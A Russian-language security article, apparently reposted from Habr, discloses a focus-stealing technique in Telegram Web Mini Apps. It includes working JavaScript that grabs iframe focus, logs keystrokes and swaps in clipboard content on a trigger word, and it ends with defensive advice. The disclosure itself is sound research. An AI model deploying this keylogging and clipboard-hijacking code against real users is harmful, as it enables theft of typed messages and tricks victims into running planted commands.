И так, вы в Telegram Web и вы запускаете безобидное на первый взгляд Mini App, сворачиваете его или просто переключаетесь на соседний приватный чат, чтобы продолжить переписку. Казалось бы, контексты изолированы, фрейм приложения неактивен, и вы в полной безопасности. Но так ли это на самом деле?
Всё началось с негромких новостей от малоизвестного блогера, которого в сети называют «Дядя J», который упомянул странное поведение Mini Apps в Telegram и не только. А проблема заключалась в фрейме. Я решил проверить концепцию и вот что из этого вышло.
// чутчут костылькода(function() { let lastBlurTime = 0; window.addEventListener('blur', () => { lastBlurTime = performance.now(); setTimeout(() => { window.focus(); }, 5700); }); window.addEventListener('focus', () => { if (lastBlurTime === 0) return; const focusDelta = performance.now() - lastBlurTime; lastBlurTime = 0; analyzeParentState(focusDelta); }); setInterval(() => { if (document.activeElement !== window) { window.focus(); } }, 15700); function analyzeParentState(delta) { const statusDiv = document.getElementById('status'); //statusDiv.innerHTML = `[*] ${delta.toFixed(2)}ms`; console.log(`[*] ${delta.toFixed(2)}ms`); } })();
Дело начинается в функции метода управления фокусом страницы (window.focus()). Браузер позволяет дочернему фрейму запрашивать фокус с помощью метода window.focus(). Скрипт вешает обработчик на событие blur самого окна. Как только пользователь пытается кликнуть на чат Telegram или переключить внимание на мессенджера, фрейм фиксирует потерю фокуса (срабатывает blur), запускает таймер и через 5.7 секунд агрессивно возвращает фокус обратно себе. setInterval, каждые 15.7 секунд проверяет: если фокус ушел, то вернуть его. В результате фрейм время от времени принудительно забирает фокус.
Для мессенджера писать обычный текст — обычное дело, а нажатие на клавишу — обычное пользовательское действие, легитимное для браузера. Следовательно, пока пользователь просто вводит сообщение, страница внутри фрейма использует эти нажатия клавиш как валидное действие пользователя для вызова защищенных методов API. Например открыть новую вкладку или окно, логировать нажатия клавиш, записать данные в буфер обмена и так далее.
(function() { let inputBuffer = ''; document.addEventListener('keydown', function(e) { if (e.key.length === 1) { console.log('press: '+e.key); // тут можно реализовать передачу на сервер inputBuffer += e.key.toLowerCase(); inputBuffer = inputBuffer.slice(-4); } // если пользователь введет " code", в буфере обмена запишется команда //console.log(inputBuffer); if (inputBuffer === 'code') { // в конце строки можно добавить скрытый символ переноса строки \n navigator.clipboard.writeText("echo 'допустим привет'"); inputBuffer = ''; } }); })();
Первая часть кода отвечала за захват фокуса. После захвата фокуса браузер думает, что пользователь умышленно продолжает действия внутри фрейма. Скрипт вешает обработчик события keydown на документ внутри фрейма. Он собирает вводимые пользователем символы в буфер и ждет триггерное слово для записи в буфер обмена.
Если вы пишете какой-нибудь код, настраиваете сервер или что-то ещё, страница, которая принудительно захватила фокус, может подставить пользователя под выполнение опасных команд. Ничего не подозревающий разработчик или администратор может попытаться скопировать команду из мессенджера, зайти в терминал своего сервера, нажать Ctrl+V и случайно выполнить чужой код с высокими привилегиями.
В процессе ввода текста в родительском контексте, при срабатывании таймера внутри фрейма, курсор резко исчезает. Пользователь просто не успевает обратить на это внимание и машинально дописывает текст. Из‑за этого слепого ввода все последующие нажатия клавиш улетают напрямую в keydown обработчик фрейма, активируя для него права на запись в буфер обмена.
Пока проблема не закрыта архитектурно на стороне мессенджера или браузера, лучшая рекомендация для безопасности — не оставлять Mini Apps открытыми в фоне, если в этот момент вы ведете конфиденциальную переписку, работаете с паролями или настраиваете сервера.
ссылка на оригинал статьи https://habr.com/ru/articles/1047232/